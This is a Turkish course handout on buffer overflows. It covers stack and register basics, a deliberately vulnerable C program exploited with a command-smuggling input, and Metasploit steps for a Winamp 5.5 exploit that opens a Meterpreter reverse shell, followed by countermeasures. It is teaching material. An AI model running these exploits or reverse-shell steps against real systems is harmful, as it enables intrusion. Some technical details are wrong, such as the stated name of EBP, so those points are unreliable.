HAZIRLAYAN
BEDRİ SERTKAYA
bedri@bedrisertkaya.com
Sistem Uzmanı
CEH EĞİTMENİ

BUFFER OVERFLOW:

Buffer Nedir?

Buffer yani tampon alan donanım aygıtları veya farklı hızlarda farklı öncelikleri olan program işlemleri tarafından paylaşılan bir veri alanıdır. Buffer her aygıtın ya da process'in çalışmasını durdurmadan devam ettirmesini sağlar.
Bufferlar Input/Output işlemi sırasında kullanıcının beklemesini engellemek için kullanılırlar. Bellekten okumak ve belleğe yazmak maliyetli bir işlemdir. Sistemi yorar ve hız olarak yavaştır. Input/Output aygıtlarından gelen veriler bu sebeple önce bir havuzda toplanır. Böylece bu havuz belirli miktarlarda dolduktan sonra toplu olarak belleğe yazılır. Bu sisteme performans kazandıran bir harekettir.Buffer'ı bir örnekle pekiştirmek istersek havuz tabanındaki büyük bir musluktan boşaltılırken, yukarıdaki bir musluk da havuzu doldurmaya devam edebilmektedir.

Buffer Overflow Nasıl Meydana Gelir?
Buffer Overflow Türkçesi:Bellek Taşırması

Buffer overflow depolama alanına tahsis edilmiş buffer'a işleyebileceği veriden fazla veri kopyalandığı takdir de meydana gelir.

Programlar Neden Buffer Overflow Zaafiyetine Maruz Bırakılabilir Durumda?

Sabit boyutlu ve sınır kontrolü gerçekleştirilmeyen alanlarda oluşmaktadır.

Strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets(),scanf() fonksiyonları buffer boyutunu kontrol etmedikleri için exploit edilebilmektedir.

Stack(YIĞIN)

Stack geçici değerlerin saklandığı bir hafıza ortamıdır.
Son giren ilk çıkar yöntemine göre çalışır.
Buffer gibi davranarak fonksiyonun ihtiyacı olan bütün bilgiyi tutar.
Stack yüksek adresten düşük adrese doğru büyür.
Stack içerisine veri ekleme işlemi sırasıyla PUSH ve POP komutlarıyla gerçekleştirilir.

HEAP

Programların kullandığı boşta kalan alandır.

Hafıza içerisinde dinamik bellek erişimi yapılan alandır.

Bellek erişimi gerçekleştirmek için malloc(), free() gibi fonksiyonlar kullanılmaktadır.

STACK OPERATIONS:

Registers(Yazmaçlar)

EIP(Extended Instruction Pointer)

Çalıştırılacak bir sonraki instruction'a ait adresi tutan yazmaçtır.

Code segment içerisindeki kodları sırası ile çalıştırır.

ESP(Extended Stack Pointer)

Stack'in bulunduğu en üst noktanın adresini tutar.

Bir fonksiyon çağrıldığı zaman o fonksiyona ait stack yapısı oluşturulur.Stack üst noktasının yeni adresi ESP register'ına yazılır.

EBP(Extended Stack Pointer)

Programlama dillerindeki yerel değişkenlerin büyük bir kısmı EBP register'ını referans olarak kullanır.

Bir fonksiyon için stack'in üst noktasında yer alır.

Stack frame oluşturulurken fonskiyonun geri dönüş adresinden sonra stack frame içerisine eklenir.

Smashing the Stack:

Ana hedef buffer'ı taşırmaktır. Böylelikle geri dönüş adresinin üzerine yazılır. Fonksiyon

çalıştırıldığında stack'de yer alan herhangi bir adrese zıplar.Buffer overflow herhangi bir fonksiyonun geri dönüş adresini değiştirmemizi sağlar. Belleğe zararlı bir kod eklenir ve dönüş adresi ile birleştirilir.

Stack smash edildiği takdir de:

saldırgan çalışan process ile eşit hakları elde eder. Reverse bağlantı ve backdoor bağlantısı gerçekleştirebilir, komut çalıştırabilir.

Derste Yaptığımız Buffer Overflow Uygulaması:

Kod:

```
#include<stdio.h>
main() {

char *name;

char *dangereous_system_command;

name = (char *) malloc(10);

dangereous_system_command = (char *)
malloc(128);

printf("Address of name is %d\n", name);

printf("Address of command is %d\n",
dangereous_system_command);

sprintf(dangereous_system_command, "echo %s", "Merhaba world!");

printf("isminiz nedir?");

gets(name);

system(dangereous_system_command);

}
```

Kodumuzu gcc buffer.c -o buffer şeklinde derleriz.

Derlenen kodu ./buffer şeklinde çalıştırırız.

Eğer 15 haneden fazla bir veri girersek peşine de komut girersek buffer overflow'u gerçekleştirmiş oluruz.

Aşağıdaki değeri girdiğimiz zaman etikhacker isimli bir dosya ve içine etikhacker kelimesi

eklenmektedir.

1234567891234567touch etikhacker| echo>etikhacker "etikhacker"

Derste Yaptığımız Winamp 5.5 Buffer Overflow Uygulaması:

Hedef:Windows XP SP3 ya da Windows 7 SP1

Adımlar:

Metasploit ile:

msfconsole komutu verildikten sonra:

use exploit/windows/fileformat/winamp_maki_bof

msf exploit (winamp_maki_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (winamp_maki_bof)>set LHOST 10.100.86.50(Yerel Ip Adresiniz)

msf exploit (winamp_maki_bof)>exploit

Oluşturduğumuz /root/.msf4/local/mcvcore.maki dosyasını windows makinesine yüklediğimiz winamp programının skin klasöründeki mcvcore.maki dosyası ile değiştirerek exploit işlemini gerçekleştiriyoruz.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.100.86.50

exploit

Buffer Overflow'a Karşı Alınabilecek Önlemler:

Stack çalıştırılmayacak şekilde ya da random location şeklinde yapılandırılır.

Adres karıştırma(Address Obfuscation)

Fonksiyonlar random şekilde yapılandırılmalıdır.

Data Execution Prevention(Veri Yürütme Engellemesi) aktif hale getirilmelidir.

ASLR(Address space layout randomization) programda yer alan veri alanlarının rastgele şekilde düzenlenmesini sağlayarak bellek taşırma saldırılarına karşı korunmayı sağlar.

Statik Source Kod Analizleri:Kod çalıştırılmadan önce gerçekleştirlir.
Bütün içerik incelenebilir.

Debugging Programı gdb linux'da kullanılabilmektedir.

Dinamik Analiz:

Kod çalışma esnasında gerçekleştirilir.

Örnek Dinamiz analiz programları:

Windows:IDAPro,OllyDebugger
Linux:objdump

Yazmaçlar:

Genel Amaçlı Yazmaçlar:

EAX,(Accumulator)EBX(Base),ECX(Counter),EDX(Data),ESI(Source Index),EDI(Destination Index)EBP,ESP

Segment Yazmaçları:

CS,SS,DS,ES,FS,GS

Koruma Yazmaçları:

GDTR,IDTR,LDTR,TR

Kontrol Yazmaçları:

CRO,CR1,CR2,CR3